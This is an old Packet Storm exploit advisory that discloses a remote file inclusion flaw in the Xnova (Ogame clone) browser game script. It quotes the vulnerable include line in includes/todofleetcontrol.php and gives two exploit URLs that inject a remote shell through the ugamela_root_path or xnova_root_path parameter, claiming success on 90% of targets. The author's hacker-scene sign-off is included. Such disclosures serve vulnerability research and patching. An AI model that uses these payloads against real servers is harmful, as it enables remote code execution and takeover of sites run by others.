xnova-rfi.txt

2008-08-18T00:00:00
ID PACKETSTORM:69179
Type packetstorm
Reporter NuclearHaxor
Modified 2008-08-18T00:00:00

Description

                                        
                                            `##################################################################################################################################  
Name: Xnova(Ogame) Remote File Inclusion  
Author : NuclearHaxor  
Contact MSN: nuclearhaxor@hotmail.com  
  
homepage of xnova: http://xnova.fr/  
  
Vuln file: includes/todofleetcontrol.php  
Vuln line: include($ugamela_root_path . 'includes/functions/FlyingFleetHandler.'.$phpEx); -> but no declared ugamela_root_path ;)  
  
Exploit(this exploit works in 90% targets):  
  
------  
target.com/includes/todofleetcontrol.php?ugamela_root_path=[shell]?  
or new version of xnova:  
target.com/includes/todofleetcontrol.php?xnova_root_path=[shell]?  
------  
  
FUckZZz to Cybernet1c(2) aka ph4nt0mh4ck3r && Cr4wl aka Raz0r  
  
##################################################################################################################################  
  
  
`